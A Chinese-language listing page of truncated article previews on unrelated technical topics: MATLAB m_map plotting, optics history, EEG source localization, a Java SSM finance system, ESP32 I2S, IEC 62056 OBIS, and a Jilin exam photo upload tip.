13 - matlab m_map地学绘图工具基础函数 - 介绍创建管理颜色映射的函数m_colmap和轮廓图绘制颜色条的函数m_contfbar 0. 引言1. 关于m_colmap2. 关于m_contfbar3. 结语 0. 引言 本篇介绍下m_map中用于创建和管理颜色映射函数&#xff08;m_colmap&#xff09;和 为轮廓图绘制颜…

大话光学原理:2.最短时间原理、“魔法石”与彩虹

一、最短时间原理 1662年左右&#xff0c;费马在一张信纸的边角&#xff0c;用他那著名的潦草笔迹&#xff0c;随意地写下了一行字&#xff1a;“光在两点间选择的路&#xff0c;总是耗时最少的。”这句话&#xff0c;简单而深邃&#xff0c;像是一颗悄然种下的种子&#xff0c…

EEG源定位(EEG Source Localization)

EEG源定位&#xff08;EEG Source Localization&#xff09;是一种用于确定大脑内部电活动来源的方法。通过在头皮上记录的电信号&#xff08;EEG&#xff09;&#xff0c;源定位技术可以推断这些信号的起源&#xff0c;即确定大脑中的哪些区域产生了这些电活动。这对于理解大脑…

Java项目:基于SSM框架实现的中小型企业财务管理系统【ssm+B/S架构+源码+数据库+答辩PPT+开题报告+毕业论文】

一、项目简介 本项目是一套基于SSM框架实现的中小型企业财务管理系统 包含&#xff1a;项目源码、数据库脚本等&#xff0c;该项目附带全部源码可作为毕设使用。 项目都经过严格调试&#xff0c;eclipse或者idea 确保可以运行&#xff01; 该系统功能完善、界面美观、操作简单…

ESP32的I2S引脚及支持的音频标准使用说明

ESP32 I2S 接口 ESP32 有 2 个标准 I2S 接口。这 2 个接口可以以主机或从机模式&#xff0c;在全双工或半双工模式下工作&#xff0c;并且可被配置为 8/16/32/48/64-bit 的输入输出通道&#xff0c;支持频率从 10 kHz 到 40 MHz 的 BCK 时钟。当 1 个或 2 个 被配置为主机模式…

IEC62056标准体系简介-2.IEC62056标准体系及对象标识系统(OBIS)

1. IEC 62056标准体系 IEC 62056标准体系目前共包括六部分&#xff0c;见图1&#xff1a; 第61部分&#xff1a;对象标识系统第62部分&#xff1a;接口类第53部分&#xff1a;COSEM应用层第46部分&#xff1a;使用HDLC&#xff08;High Level Data Link Control&#xff09;协…

24吉林事业单位报名照上传通过别忘了这一步

24吉林事业单位报名照上传通过别忘了这一步 #吉林事业单位 #吉林三支一扶 #吉林事业编 #事业单位报名照片 #吉林事业单位考试 #吉林市事业单位